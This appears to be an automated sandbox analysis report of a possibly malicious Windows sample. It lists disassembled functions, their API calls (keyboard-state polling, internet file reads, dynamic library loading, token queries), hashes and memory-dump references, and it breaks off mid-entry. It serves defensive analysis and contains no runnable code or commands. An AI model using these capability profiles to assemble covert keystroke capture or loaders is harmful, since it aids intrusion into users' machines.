Instruction ID: f7a88e900281ebca27ea71c7c6157301807f4f352db61dad3aea93e297cadce8
Opcode Fuzzy Hash: ed70b07f19392b05eaaf879fc978ddf3c07f8d656895a689dab2052be7e3e45d
Instruction Fuzzy Hash: D461B131208241AFC314DF14C591F2ABBE5FF84308F14955DF499AB2A2CB32ED46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00EA8BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00EA8BCD
VariantClear.OLEAUT32 ref: 00EA8C3E
VariantClear.OLEAUT32 ref: 00EA8C9D
VariantClear.OLEAUT32 ref: 00EA8D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00EA8D3B

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: b5d9c4d64393562bfe1e18aeb4b37633a2d4b5d9a6cd036990f6e7be2eaad840
Instruction ID: 13939e7ca9ba1c99436b7c5c30617b2c4f2268f0300e26e00f23936bae498ed8
Opcode Fuzzy Hash: b5d9c4d64393562bfe1e18aeb4b37633a2d4b5d9a6cd036990f6e7be2eaad840
Instruction Fuzzy Hash: 0A5169B5A0021AEFCB14CF68D894AAAB7F8FF8D314B158559E915EB350E730E911CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00EB8AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32 ref: 00EB8BAE
GetPrivateProfileSectionW.KERNEL32 ref: 00EB8BDA
WritePrivateProfileSectionW.KERNEL32 ref: 00EB8C32
WritePrivateProfileStringW.KERNEL32 ref: 00EB8C57
WritePrivateProfileStringW.KERNEL32 ref: 00EB8C5F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 5536b9783a002d260d3779ff3c061ec333c1d7d182be9fbdbb817b5b7d4884b5
Instruction ID: 9b077bf75f593496199fbb27c5c5b8fe5cc4b25e052cb51899ce243178fe6e66
Opcode Fuzzy Hash: 5536b9783a002d260d3779ff3c061ec333c1d7d182be9fbdbb817b5b7d4884b5
Instruction Fuzzy Hash: F0516835A00215AFCB00DF64D881AAEBBF5FF48314F089459E849AB362CB35ED41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00EC8EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00EC8F40
GetProcAddress.KERNEL32 ref: 00EC8FD0
GetProcAddress.KERNEL32 ref: 00EC8FEC
GetProcAddress.KERNEL32 ref: 00EC9032
FreeLibrary.KERNEL32 ref: 00EC9052

Part of subcall function 00E5F6C9: WideCharToMultiByte.KERNEL32 ref: 00E5F6E6
Part of subcall function 00E5F6C9: WideCharToMultiByte.KERNEL32 ref: 00E5F70D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: a9437bddb9d00975fa404fa061da138d040e1843e1dc5349fd015219b69662b7
Instruction ID: aa355bd4e8cb84cb994bc38e46ae54be88ef8ad67cdfa28c280b8574e26525e6
Opcode Fuzzy Hash: a9437bddb9d00975fa404fa061da138d040e1843e1dc5349fd015219b69662b7
Instruction Fuzzy Hash: 3C514934601245DFC715DF58C685DADBBF1FF49314B0490A9E80AAB362DB32ED86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ED6B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32 ref: 00ED6C33
SetWindowLongW.USER32 ref: 00ED6C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00ED6C73
ShowWindow.USER32(00000002,00000000), ref: 00ED6C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027), ref: 00ED6CC7

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: cd24e5426c96d44d4a7f8b964efee2fc7fa0d45c1b4c2f3f8fb3eb07190b31d9
Instruction ID: 799f39137f5f52045aecca97fab1c80b62ce69a3fc543ed0ffc5c003a9d17f9f
Opcode Fuzzy Hash: cd24e5426c96d44d4a7f8b964efee2fc7fa0d45c1b4c2f3f8fb3eb07190b31d9
Instruction Fuzzy Hash: 5E41F235A10104AFDB24CF28CD58FE9BBA5EB09364F15122AF999B73E0C371ED42DA40

Uniqueness

Uniqueness Score: -1.00%

Function 00E72051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00E720C3
_free.LIBCMT ref: 00E720E3

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 2db33fa9bec31540ad548eb82763a8de03f9ed8bae05e3d9029bd1af582c1855
Instruction ID: cd7e69a10f852b5aab075beab2ad2d339550c3e0b27d0774d95a3b93812abff3
Opcode Fuzzy Hash: 2db33fa9bec31540ad548eb82763a8de03f9ed8bae05e3d9029bd1af582c1855
Instruction Fuzzy Hash: 2141D032A002049FCB24DF78C881A5AB3E5EF89714F1595ACEA19FB391DA31AD01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00E5912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00E59141
ScreenToClient.USER32(00000000,?), ref: 00E5915E
GetAsyncKeyState.USER32 ref: 00E59183
GetAsyncKeyState.USER32 ref: 00E5919D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 76d069d338b80cf55d25338acacce8cfde2718ba0fec15de47143e74676e0f7a
Instruction ID: baf4d275da3b464599714efb5dfd114e718788abab21433b877a6f279035e678
Opcode Fuzzy Hash: 76d069d338b80cf55d25338acacce8cfde2718ba0fec15de47143e74676e0f7a
Instruction Fuzzy Hash: 6C41AE31A0961AEBCF059F65C844BEEB7B4FB05324F20961AE865B3291C7306D58CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EB3874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00EB38CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00EB3922
TranslateMessage.USER32(?), ref: 00EB394B
DispatchMessageW.USER32(?), ref: 00EB3955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00EB3966

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: dc01d18e4c4d446e3876b5eb96921b573e6120377a83fe4a74e6a56e34579d24
Instruction ID: c6728e7153dd4feb5041d68c68f5db282ea6e8817dee8268f75e6e9e142d2f22
Opcode Fuzzy Hash: dc01d18e4c4d446e3876b5eb96921b573e6120377a83fe4a74e6a56e34579d24
Instruction Fuzzy Hash: 1131F770504346AEEB35CB35AC4ABF737A8EB45308F14556EE562F20E4E7B0A684DB11

Uniqueness

Uniqueness Score: -1.00%

Function 00EBCF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000), ref: 00EBCF38
InternetReadFile.WININET(?,00000000,?,?), ref: 00EBCF6F
GetLastError.KERNEL32 ref: 00EBCFB4
SetEvent.KERNEL32 ref: 00EBCFC8
SetEvent.KERNEL32 ref: 00EBCFF2

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 2059aa5d18ae9d6ab5787b9506b36c4a3e77ffec667021bf03a589cfc5225171
Instruction ID: ebd7083ffc46257bbc1cc54fab4837c6c59a6fdefd3c0d55717972259e33a59b
Opcode Fuzzy Hash: 2059aa5d18ae9d6ab5787b9506b36c4a3e77ffec667021bf03a589cfc5225171
Instruction Fuzzy Hash: AC317F71608206AFDB20DFA5D884AFBBBF9EB04355B20546EF506F2110DB30ED44DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00ED5706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00ED5745
SendMessageW.USER32(?,00001074,?,00000001), ref: 00ED579D
_wcslen.LIBCMT ref: 00ED57AF
_wcslen.LIBCMT ref: 00ED57BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00ED5816

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 7853552fc24abcfea64eb0c5ac2e4d8574659fcff593a9d0fdde61b70bbf8ef4
Instruction ID: 28abeefc88f35858909d67efaf2f1050308fd46c2695c9a7c6265eae038dc50d
Opcode Fuzzy Hash: 7853552fc24abcfea64eb0c5ac2e4d8574659fcff593a9d0fdde61b70bbf8ef4
Instruction Fuzzy Hash: 4A218272904618DADB209FA4DC85AEE77B8FF44764F109217F929FA2C0D7708986CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00EC0930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00EC0951
GetForegroundWindow.USER32 ref: 00EC0968
GetDC.USER32(00000000), ref: 00EC09A4
GetPixel.GDI32(00000000,?,00000003), ref: 00EC09B0
ReleaseDC.USER32(00000000,00000003), ref: 00EC09E8

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 3d5ec06e6be6a2ec547238e01b0d41292d55be7854571635f366bf40965ef50d
Instruction ID: 850208b914a90bea2fc945abd24a45b807ec483a6b797e2048a9e1ebefe1b1ad
Opcode Fuzzy Hash: 3d5ec06e6be6a2ec547238e01b0d41292d55be7854571635f366bf40965ef50d
Instruction Fuzzy Hash: D5216F35600214AFD704EF65D984AAFBBF9EF84740F14806DE85AA7752CB34EC05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00E7CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00E7CDC6
WideCharToMultiByte.KERNEL32 ref: 00E7CDE9

Part of subcall function 00E73820: RtlAllocateHeap.NTDLL(00000000,?,00F11444,?,00E5FDF5,?,?,00E4A976,00000010,00F11440,00E413FC,?,00E413C6,?,00E41129), ref: 00E73852

WideCharToMultiByte.KERNEL32 ref: 00E7CE0F
_free.LIBCMT ref: 00E7CE22
FreeEnvironmentStringsW.KERNEL32 ref: 00E7CE31

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: c58959ed0bd31555cc24c1f37f192f614d9c16f963797cbd41cebdafb5746c4c
Instruction ID: 2bc6deab2bb7af8136acedee3283433536b9666fe269d0baed958d564dc1eb13
Opcode Fuzzy Hash: c58959ed0bd31555cc24c1f37f192f614d9c16f963797cbd41cebdafb5746c4c
Instruction Fuzzy Hash: B701D8726026157F272116B76C48C7F6B6DDFC6BA5335912EFA0DF7100DA608D0281B1

Uniqueness

Uniqueness Score: -1.00%

Function 00E59639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32 ref: 00E59693
SelectObject.GDI32 ref: 00E596A2
BeginPath.GDI32 ref: 00E596B9
SelectObject.GDI32 ref: 00E596E2

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 02d8046ec9496c37e41cfc7a31732ca4a9a44cd749eac77ec1b447dd00859b99
Instruction ID: 96edd93b0ff5e1762962b1063070f3ed5d6b03a05127e4a10152ee35680e4a56
Opcode Fuzzy Hash: 02d8046ec9496c37e41cfc7a31732ca4a9a44cd749eac77ec1b447dd00859b99
Instruction Fuzzy Hash: CD217F7080230AEFDB119F25EC157E97BB9FB0039AF518616F920B61A1D3B4589DEF90

Uniqueness

Uniqueness Score: -1.00%

Function 00EA5711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00EA5726
_memcmp.LIBVCRUNTIME ref: 00EA5744
_memcmp.LIBVCRUNTIME ref: 00EA5757
_memcmp.LIBVCRUNTIME ref: 00EA576F
_memcmp.LIBVCRUNTIME ref: 00EA5787

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 4623e1739c9d2d9416b92bf413b6ed4ce56eae1b2a4949f867b583ac571056a9
Instruction ID: 7cd66e6c8aa6c6658acfb82ecf304b474b2c4f2f2ee5da72dfcea1b05c795d9e
Opcode Fuzzy Hash: 4623e1739c9d2d9416b92bf413b6ed4ce56eae1b2a4949f867b583ac571056a9
Instruction Fuzzy Hash: 5E019663681B15FAD21896109D42EFA639CDB263A8B046423FD16BE741F760FD2182A4

Uniqueness

Uniqueness Score: -1.00%

Function 00E72DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00E72DFD
_free.LIBCMT ref: 00E72E32
_free.LIBCMT ref: 00E72E59
SetLastError.KERNEL32(00000000,00E41129), ref: 00E72E66
SetLastError.KERNEL32(00000000,00E41129), ref: 00E72E6F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 2d4d0de93ead581d67fed9c760db22bc915cd0da44522163cc3e24a8fe00e94a
Instruction ID: 19c694f109b8a64850f39f713806696a292162cfa5efd4de4476ca35cfdaec15
Opcode Fuzzy Hash: 2d4d0de93ead581d67fed9c760db22bc915cd0da44522163cc3e24a8fe00e94a
Instruction Fuzzy Hash: 2D01F4326056017BCA1327357C45D6B2699EBC57A9B34E12DFA2DB22D7EF608C455120

Uniqueness

Uniqueness Score: -1.00%

Function 00EA000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32 ref: 00EA002B
ProgIDFromCLSID.OLE32(?,00000000), ref: 00EA0046
lstrcmpiW.KERNEL32 ref: 00EA0054
CoTaskMemFree.OLE32 ref: 00EA0064
CLSIDFromString.OLE32(?,?), ref: 00EA0070

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 96121ec54e96c2ce0623c10d480e5f7ad02d8d1ccccee6345f4d8435bf5f95ca
Instruction ID: 7444c391303644cf44aa893cc0f81cbe286243414928a68390714c92e92bf72a
Opcode Fuzzy Hash: 96121ec54e96c2ce0623c10d480e5f7ad02d8d1ccccee6345f4d8435bf5f95ca
Instruction Fuzzy Hash: 0E01DF76601205BFDB114F69EC84FAA7BAEEB48391F205525F901FA210D770ED04EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EAE97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 00EAE997
QueryPerformanceFrequency.KERNEL32(?), ref: 00EAE9A5
Sleep.KERNEL32(00000000), ref: 00EAE9AD
QueryPerformanceCounter.KERNEL32(?), ref: 00EAE9B7
Sleep.KERNEL32 ref: 00EAE9F3

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: f9a13e6ec150ada6519e59df6a1252185b470ecd992cbc07d43dc29173e75878
Instruction ID: e3d63f35112c54a2666c8e82089d6d7e4d206e70a9d1a55f17bfa369f46f7330
Opcode Fuzzy Hash: f9a13e6ec150ada6519e59df6a1252185b470ecd992cbc07d43dc29173e75878
Instruction Fuzzy Hash: 59011E31C02629DBCF049BE5E8596DEBBB8FB4E701F101596D502B6251CB30A555C761

Uniqueness

Uniqueness Score: -1.00%

Function 00EA10F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00EA1114
GetLastError.KERNEL32 ref: 00EA1120
GetProcessHeap.KERNEL32 ref: 00EA112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00EA0B9B,?,?,?), ref: 00EA1136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00EA114D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 31454a0a9608b3db796ffc5d33f8fc8f3d3ff7ca17912d6e98bb23ef8a9baadf
Instruction ID: 47d7a2c050437b53b17b8c7ff0b2009dba360d369c0c3795d0176d19cc3eef03
Opcode Fuzzy Hash: 31454a0a9608b3db796ffc5d33f8fc8f3d3ff7ca17912d6e98bb23ef8a9baadf
Instruction Fuzzy Hash: 4A016D75102216BFDB114F65EC49A6A3B7EEF8A3A4B200456FA41E7350DA31DC40DA60

Uniqueness

Uniqueness Score: -1.00%

Function 00EA0FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 00EA0FCA
GetLastError.KERNEL32 ref: 00EA0FD6
GetProcessHeap.KERNEL32 ref: 00EA0FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00EA0FEC
